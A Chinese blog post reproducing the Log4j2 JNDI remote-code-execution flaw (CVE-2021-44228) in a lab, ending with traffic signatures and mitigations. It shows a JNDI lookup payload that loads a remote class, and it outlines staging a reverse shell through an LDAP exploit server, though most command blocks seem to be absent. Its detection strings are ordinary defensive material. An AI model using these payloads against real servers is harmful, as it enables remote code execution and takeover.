写在前面
log4j 对应的是 CVE-2017-5645,即 Apache Log4j Server 反序列化命令执行漏洞;
log4j2 对应的是 CVE-2021-44228,即 log4j2 远程代码执行漏洞,通过 JNDI 注入实现;
CVE-2017-5645 比较久远因此我们这里不做演示,本篇博客主要介绍 CVE-2021-44228 的复现。
攻击机:kali Linux(192.168.249.128)
靶机:kali Linux(192.168.249.132)
目录
一、基础知识铺垫
1、什么是 log4j 和 log4j2
2、什么是 JNDI
二、漏洞原理
三、影响版本
四、环境搭建
五、漏洞验证
六、漏洞利用
1、JNDI 注入工具安装
2、工具用法
3、服务站点部署
4、开启端口监听
5、反弹shell
七、流量特征与防御措施
1、log4j2 漏洞流量特征
2、log4j2 漏洞防御措施
文章开始前给大家分享一个学习人工智能的网站,通俗易懂,风趣幽默
~~~~~~~~~~~~ 正文开始 ~~~~~~~~~~~~
log4j 是 Apache 的一个开源日志库,是一个基于 Java 的日志记录框架,Log4j2 是 log4j 的后继者,其中引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI 组建等,被应用于业务系统开发,用于记录程序输入输出日志信息,log4j2 中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上执行任意代码。
JNDI 是 Java Naming and Directory Interface 的缩写,是 Java 中用于访问各种命名和目录服务的API(应用程序编程接口) 。JNDI 提供了一种标准的方式来访问各种命名和目录服务,从指定的远程服务器获取并加载对象,其中常用的协议包括 RMI(远程方法调用)和 LDAP(轻量目录访问协议)。
log4j2 在日志输出中,未对字符合法性进行严格的限制,执行了 JNDI 协议加载的远程恶意脚本,从而造成RCE。
详细过程分析:
log4j2 框架下的 lookup 查询服务提供了 {} 字段解析功能,传进去的值会被直接解析。
当用户输入信息时,应用程序中的 log4j2 组件会将信息记录到日志中,假设日志中含有语句${jndi:ldap:192.168.249.1:9001/poc.class},log4j2 就会去解析该信息,通过 JNDI 的 lookup() 方法去解析 URL:ldap:192.168.249.1:9001/poc.class,解析到 ldap,就会去 192.168.61.129:9001 的 ldap 服务找名为 poc.class 的资源,如果找不到则会去 http 服务中找,只要在 ldap 或者 http 中找到了 poc.class ,就会将资源信息返回到 JNDI 接口,进而返回给应用程序的 log4j2 组件,而 log4j2 组件会将其下载下来,然后发现 poc.class 是一个 .class 文件,就会去执行里面的代码,从而实现注入,我们就可以通过 poc.class 实现任意命令的执行。
示意图:
受影响版本范围:2.0 ≤ Apache Log4j2 < 2.15.0-rc2
首先拉取靶场的最新镜像
(你自己需要先装好 docker)
开启容器
这里我是将靶场环境的 8080 端口映射到了本地的 9001(找一个未被占用的端口即可)
因为 8080 端口是靶场默认所在的位置,后面的 9001 为一个自定义的本地端口号
启用成功后,使用 docker ps 查看运行的容器
接下来我们直接访问本地的 9001 端口即可看到靶场环境
首先使用 DNSLog 平台获取一个子域名
DNSLog PlatformDNSLog:DNSLog Platform
点击 Get SubDomin
这里获取到的子域名为:7fprj5.dnslog.cn
使用该子域名,我们构造 payload:
点击靶场的 ?????
发现请求了文件hello,并且给参数 payload 传入了值 111
替换 payload 值为我们刚才构造的 payload,即:
发现请求失败
因为是 get 请求,很可能是对我们传入的内容进行了 URL 解码
因此我们先对 payload 进行 URL 编码后再传入:
URL 编码后为:
请求:
回显 ok
回到 DNSLog 平台,点击 Refresh Record 刷新记录
可以看到 DNSLog 平台成功接收到解析记录
接下来我们构造 payload 尝试获取 Java 版本:
同样进行 URL 编码:
传入 payload,回显 ok
再次刷新记录,可以得出 sys:java.version 命令被执行了
成功获取到 Java 版本号为 1.8.0_312,证明确实存在 log4j2 远程代码执行漏洞
为了方便后续的测试,这里我再开了一台 kali(192.168.249.132)作为靶机,按照我们前面四的环境搭建步骤再搭建了一个靶场环境,而我的 JNDI 注入工具装在另一台 kali(192.168.249.128)上,这台kali 则作为我们的攻击机。
搭建好后测试一下,可以正常访问到
首先安装 JNDI 注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
切换到 JNDI-Injection-Exploit 目录
编译安装,在该目录下执行如下命令
关于 mvn 命令的安装与配置可以看我上一篇博客:
编译安装完成后,我们会得到一个 jar 文件
位置在:/root/JNDI-Injection-Exploit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
在运行结果的最后有给出:
切换进入到 target 目录:
反弹 shell 到目标主机端口,这里以 7777 端口为例
对命令进行 base64 编码 (命令必须经过编码,不然无法实现)
编码可以使用如下网站:
其实就是将我们的命令换了一种写法,先进行 base64 编码后再解码
得到:
将想要执行的命令替换成我们得到的 payload,以及填上我们的攻击机ip
利用 JNDI 注入工具把这个反弹 shell 命令部署到 LDAP 服务上
在 target 目录下,执行如下命令:
这样我们就部署好了 RMI 和 LDAP 服务的站点,并且得到了 payload 路径
再开一个终端,监听我们对应的端口(我这里的 payload 里为 7777)
使用上述给出的 payload 路径构造完整 payload
比如:
我们可以针对不同版本和不同情况使用不同的服务和不同的 payload
同样这里需要对 payload 进行 URL 编码后再传入
JNDI 注入工具的终端显示如下:
查看刚才监听的端口:
已经建立连接,反弹 shell 成功,我们便可以执行想要执行的命令了
(1)恶意请求中包含 JNDI 协议地址:
攻击者通常会在 HTTP 请求或其他网络流量中插入包含 JNDI 协议地址的字符串,如"ldap://"、"rmi://"等。这些字符串会被log4j2解析为 JNDI 查找,从而导致远程代码执行。
(2)日志记录消息中包含可执行代码:
攻击者构造的恶意日志记录消息可能包含可执行的Java代码,如 JNDI 注入 payload 。这些代码会被 log4j2 解析和执行,从而触发远程代码执行漏洞。
(3)异常堆栈中出现与 JNDI 相关的类或方法:
在应用程序的异常堆栈中,可能会出现与JNDI相关的类或方法,如javax.naming.directory.InitialDirContext 等。这表明攻击者已经成功地利用了 log4j2 漏洞,执行了远程代码并导致异常。
(4)大量的异常日志记录:攻击者可能会尝试多次利用 log4j2 漏洞,因此在日志中可能会出现大量的异常日志记录。这些异常日志记录通常会包含与 JNDI 相关的内容,如 JNDI 协议地址或异常堆栈信息。
(1)设置 log4j2.formatMsgNoLookups=True:
这个设置将禁用 log4j2 中的消息查找(Lookups),这样可以防止恶意代码利用 JNDI 注入漏洞。通过设置此选项,log4j2 将不会解析消息中的变量或执行 JNDI 查找。
(2)对包含特定字符串的请求进行拦截:监测应用程序的日志,如果发现其中包含"jndi:ldap://"、"jndi:rmi://"等可疑字符串,可以使用WAF(Web应用程序防火墙)或 IDS(入侵检测系统)等工具来拦截这些请求,从而阻止潜在的攻击。
(3)对系统进行合理配置,限制对外访问:配置网络防火墙,限制系统对外部网络的访问,并阻止不必要的业务访问外网。
(4)升级 log4j2 组件到新的安全版本:及时升级 log4j2 到最新的安全版本,以修复已知的漏洞并增强系统的安全性。